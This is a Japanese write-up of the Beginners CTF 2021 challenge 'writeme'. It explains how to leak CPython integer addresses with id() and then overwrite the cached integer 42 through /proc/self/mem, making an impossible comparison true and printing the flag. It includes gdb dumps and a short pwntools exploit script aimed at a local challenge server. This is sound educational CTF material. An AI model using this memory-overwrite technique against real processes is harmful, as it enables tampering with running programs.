Beginners CTF 2021 - writeme
TL;DR
Prerequisite
(※解くのに必要な事項はそれなりにありますが、それなりに解説するので無視して良いです)
- Pythonの
id()
関数 - Pythonの数値のメモリ的な格納方法
/proc/<pid>/mem
を通じた値の読み書き
Writeup
次のようなスクリプトが動いている。
#!/usr/bin/env python3
import os
assert os.path.isfile("flag")
if __name__ == "__main__":
open("writeme", "w").write("The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.")
print(eval(input("Chance: ")[:5])) # 42=99 :)
path = input("File: ")
if not os.path.exists(path):
exit("File not found")
if not os.path.isfile(path):
exit("Not a file")
if "flag" in path:
exit("Path not allowed")
try:
fd = open(path, "r+")
fd.seek(int(input("Seek: ")))
fd.write("Hack")
fd.flush()
fd.seek(0)
except:
exit("Error")
if 42 >= 99:
print(open("flag").readline()) # Congrats!
else:
print(fd.readline())
だいたい次のような動作をする
- 5文字までの文字列を引数として
eval()
- ファイル名指定して開く、但し実在するファイルかつファイル名に
flag
が含まれていない必要がある - 開いたファイルに対してインデックスを指定し、そこから
"Hack"
という4文字を書き込む - $42 \geq 99$という(常に偽になるはずの)不等式が成立するかを確かめ、成立するならフラグを開示し、そうでないなら開いたファイル中身を開示する
4のif文が明らかに偽になるため、普通にやっていればフラグは開示されない。また、フラグのファイルを指定することも叶わないためelse
側の処理でフラグを開示することも難しそうである。
そもそも使える武器が少ない。こちら側から入力出来るのは「5文字分のeval
」と「ファイル名」と「インデックス」しか無い。普通に考えたら無理である。
ひとまずどうするかはさておき、eval
を上手く使う方法を考える。5文字分しか実行出来ないことから、4文字以上の関数は括弧で2文字追加されるのでそもそも実行出来ず、3文字は無引数、2文字で1文字の引数を1つだけ指定出来る。
Pythonの組み込み関数を探していると2文字でid()
という関数があり、これは引数に指定されたオブジェクトのIDを返すという関数である。実はこの関数、即値に対しても使用可能であり、更にその値を代入した変数と同じIDを指す。
>>> x = 1
>>> id(1)
9788992
>>> id(x)
9788992
>>>
また、ドキュメントには次のようなことも書かれていた。
CPython implementation detail: This is the address of the object in memory.
ということでこの値はどこかのアドレスを指していることが期待出来る。次のような検証を行った。
>>> l = [1,2,3]
>>> for x in l:
... print(hex(id(x)))
...
0x955e40
0x955e60
0x955e80
>>> import os
>>> os.getpid()
5773
>>> # gdb attaching...
>>>
pwndbg> x/64gx 0x955e40
0x955e40: 0x000000000000009c 0x000000000090b400
0x955e50: 0x0000000000000001 0x0000000000000001
0x955e60: 0x000000000000007d 0x000000000090b400
0x955e70: 0x0000000000000001 0x0000000000000002
0x955e80: 0x0000000000000031 0x000000000090b400
0x955e90: 0x0000000000000001 0x0000000000000003
0x955ea0: 0x000000000000003e 0x000000000090b400
0x955eb0: 0x0000000000000001 0x0000000000000004
0x955ec0: 0x0000000000000020 0x000000000090b400
0x955ed0: 0x0000000000000001 0x0000000000000005
0x955ee0: 0x0000000000000018 0x000000000090b400
0x955ef0: 0x0000000000000001 0x0000000000000006
0x955f00: 0x0000000000000010 0x000000000090b400
0x955f10: 0x0000000000000001 0x0000000000000007
0x955f20: 0x0000000000000024 0x000000000090b400
0x955f30: 0x0000000000000001 0x0000000000000008
0x955f40: 0x000000000000000c 0x000000000090b400
0x955f50: 0x0000000000000001 0x0000000000000009
0x955f60: 0x000000000000000b 0x000000000090b400
0x955f70: 0x0000000000000001 0x000000000000000a
0x955f80: 0x000000000000000d 0x000000000090b400
0x955f90: 0x0000000000000001 0x000000000000000b
0x955fa0: 0x0000000000000008 0x000000000090b400
0x955fb0: 0x0000000000000001 0x000000000000000c
0x955fc0: 0x0000000000000006 0x000000000090b400
0x955fd0: 0x0000000000000001 0x000000000000000d
0x955fe0: 0x0000000000000008 0x000000000090b400
0x955ff0: 0x0000000000000001 0x000000000000000e
0x956000: 0x0000000000000009 0x000000000090b400
0x956010: 0x0000000000000001 0x000000000000000f
0x956020: 0x0000000000000016 0x000000000090b400
0x956030: 0x0000000000000001 0x0000000000000010
pwndbg>
Pythonインタプリタ上で1から3までの数値のIDを入手し、gdbでその場所を覗いた結果がこちらである。
1
のIDが指すアドレスは0x9c
となっており特に面白い変数では無いが、0x955e58
に0x1
が、同様にして0x955e78
に0x2
が存在し、そのあと数字が増えるごとにこの法則で値が続いている。
このことから、一次文献を当たっていないGuessにはなるが、Pythonの数値は(64bitまでなら?)32バイトで管理され、最後の8バイトに実際の値が格納されていると考えられる。ということはここを書き換えたら1
を別の数値として扱うことが出来る予感がする。実際に0x955e58
に42を入れてみた。
pwndbg> set {int}0x955e58=42
pwndbg> x/16gx 0x955e40
0x955e40: 0x000000000000009c 0x000000000090b400
0x955e50: 0x0000000000000001 0x000000000000002a
0x955e60: 0x000000000000007d 0x000000000090b400
0x955e70: 0x0000000000000001 0x0000000000000002
0x955e80: 0x0000000000000031 0x000000000090b400
0x955e90: 0x0000000000000001 0x0000000000000003
0x955ea0: 0x000000000000003e 0x000000000090b400
0x955eb0: 0x0000000000000001 0x0000000000000004
pwndbg>
Pythonインタプリタに戻ってl
を表示してみると次のように1だった部分が42になっている。
>>> l
[42, 2, 3]
というわけで即値であってもそこを管理しているメモリを書き換えれば別の数値として扱うことが出来そうである。
問題はここをどう書き換えるかだが、Linuxでは/proc/<pid>/mem
を通してメモリの読み書きが出来るらしい(但し、cat
のような他プロセスからはアクセス出来ないらしい)。書き換えを行うのはこのスクリプトのfd.write("Hack")
なのでPIDの指定はself
で良い。というわけで書き込みを行うファイルには/proc/self/mem
を指定する。
最後に、どこを書き換えるかだが、42
か99
の値を書き換えるのが自然である。ただ、書き換えも任意の値を指定することが出来ず、"Hack"
に限られる。これは32bitぐらいの数値として扱うことが出来るので42
の値を書き換えて大きい数となるようにすれば42 >= 99
を真に出来そうである。
後はここのアドレス値を特定するだけであり、これは先程の検証より32バイトごとに数値が格納してある事を考えると、id(9)
のように一桁の値を指定してその数値のアドレスを得て、整数値でどの程度離れているかを計算した分をオフセットとして足してあげれば良い。具体的にはid(n) + (42 - n) * 32 + 24
が、42
の値が入っているアドレスになる。
Code
from pwn import remote
sc = remote("localhost", 27182)
sc.recvuntil(b"Chance: ")
sc.sendline(b"id(9)")
addr = int(sc.recvline())
print(f"[+] 9 at {addr:x}")
offset = 42 - 9
fourty_two_addr = addr + 32 * offset
fourty_two_value = fourty_two_addr + 24
print(f"[+] 42 at {fourty_two_addr:x}")
print(f"[+] write to {fourty_two_value:x}")
sc.recvuntil(b"File: ")
sc.sendline(b"/proc/self/mem")
sc.recvuntil(b"Seek: ")
sc.sendline(str(fourty_two_value).encode())
sc.interactive()
Flag
ローカルで解いただけ
Resources
- 問題ファイル: Dockerfile付き
- 組み込み関数 — Python 3.10.4 ドキュメント:
id()
について非常に短い説明が書いてある - Pythonの整数型はどのように実装されているのか
- Man page of PROC
- kernel - How do I read from /proc/$pid/mem under Linux? - Unix & Linux Stack Exchange